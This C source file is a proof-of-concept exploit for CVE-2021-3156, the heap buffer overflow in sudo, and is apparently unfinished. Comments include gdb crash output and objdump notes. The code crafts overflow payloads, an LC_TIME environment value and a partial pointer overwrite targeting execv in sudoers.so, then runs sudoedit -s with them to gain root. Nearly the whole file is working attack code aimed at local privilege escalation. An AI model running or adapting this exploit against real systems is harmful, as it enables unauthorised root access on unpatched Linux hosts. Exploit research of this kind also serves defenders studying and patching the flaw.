/*
	CVE-2021-3156 PoC - sudo heap-based buffer overflow privilege escalation

	Poc by @lockedbyte
	
	-- NOT FINISHED YET --
	

Program received signal SIGSEGV, Segmentation fault.
0x0000555555566502 in ?? ()
rax            0x0                 0
rbx            0x555555583650      93824992425552
rcx            0x7                 7
rdx            0x4242424242424242  4774451407313060418
rsi            0x7fffffffe770      140737488349040
rdi            0x7ffff797464d      140737347274317
rbp            0x7ffff797464d      0x7ffff797464d
rsp            0x7fffffffe770      0x7fffffffe770
r8             0x7ffff7f61081      140737353486465
r9             0x7fffffffe6d0      140737488348880
r10            0xffffffff          4294967295
r11            0x202               514
r12            0x7fffffffe770      140737488349040
r13            0x7fffffffe7b0      140737488349104
r14            0x7fffffffe818      140737488349208
r15            0x2                 2
rip            0x555555566502      0x555555566502
eflags         0x10206             [ PF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x0                 0
k1             0x0                 0
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
=> 0x555555566502:	callq  *0x8(%rbx)
(gdb) i r rbx
rbx            0x555555583650      93824992425552
(gdb) x/8x 0x555555583650
0x555555583650:	0x42424242	0x42424242	0x42424242	0x42424242
0x555555583660:	0x42424242	0x42424242	0x42424242	0x42424242
(gdb) 


Execute this:

./exp.sh

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>

#define DEFAULT_DELAY 1

#define MAX_PAY_SZ 0x800
#define MAX_E_VAL_SZ 0x100
#define MAX_E_C_SZ 0x512
#define MAX_CHK_SZ 0x200

#define u_data_sz 0x33
#define bof_data_sz 0xae
#define env_var_val_modifier_sz 0x55

#define ENV_VAR_NAME "LC_TIME"
#define ENV_VAR_VALUE "C.UTF-8@"

#define DEFAULT_USER "root"

#define SUDOEDIT_PATH "/usr/bin/sudoedit" // "/usr/local/bin/sudoedit"

#define B_NAME "SYSTEMD_BYPASS_USERDB" // "SYSTEMD_ONLY_USERDB"

/*
root@ubuntu-research:~/fuzz# objdump -D -Mintel /usr/lib/sudo/sudoers.so | grep "<execv"
0000000000008a00 <execv@plt>:
    8a04:	f2 ff 25 65 55 05 00 	bnd jmp QWORD PTR [rip+0x55565]        # 5df70 <execv@GLIBC_2.2.5>
   17d1a:	e8 e1 0c ff ff       	call   8a00 <execv@plt>
*/

#define PARTIAL_OV "\x04\x8a" // execv @ 0x000000000008a00 (sudoers.so) -> 0x8a04

// we want to bypass the NULL so we will actually be jumping to 0x8a04

int main(void) {

    /* defs */
    
    char user_payload[MAX_CHK_SZ];
    char bof_payload[MAX_CHK_SZ];
    char env_val[MAX_E_VAL_SZ];
    char env_content[MAX_E_C_SZ];
    char partial_ov_x[4];
    char backslash[2];
    
    int x = 0, i = 0, z = 0, n = 0;
    
    int p = 0, status = 0;
    
    memset(user_payload, '\0', sizeof(user_payload));
    memset(bof_payload, '\0', sizeof(bof_payload));
    memset(env_val, '\0', sizeof(env_val));
    memset(env_content, '\0', sizeof(env_content));
    memset(partial_ov_x, '\0', sizeof(partial_ov_x));
    
    puts("[.] crafting payload...");
    
    for(i = 0 ; i < bof_data_sz ; i++)
    	bof_payload[i] = 0x42;
    
    for(z = 0 ; z < u_data_sz ; z++)
    	user_payload[z] = 0x41;
    user_payload[z++] = 0x5c; // backslash to trigger the heap overflow
 
    for(n = 0 ; n < env_var_val_modifier_sz ; n++)
    	env_val[n] = 0x58;
    	
    snprintf(env_content, sizeof(env_content)-1, "%s=%s%s", ENV_VAR_NAME, ENV_VAR_VALUE, env_val);
    
    partial_ov_x[0] = 0x20;
    partial_ov_x[1] = 0x04;//PARTIAL_OV[0];
    partial_ov_x[2] = 0x8a;//PARTIAL_OV[1];
    partial_ov_x[3] = '\0';
    
    backslash[0] = 0x5c; // "\"
    backslash[1] = '\0';
    
    char *argv[] = { SUDOEDIT_PATH, "-s", user_payload, bof_payload, backslash, partial_ov_x, 0 };
    char *envp[] = { env_content, 0 };
    
    puts("[.] triggering heap overflow...");
    
    execve(argv[0], argv, envp);
    
}

// EOF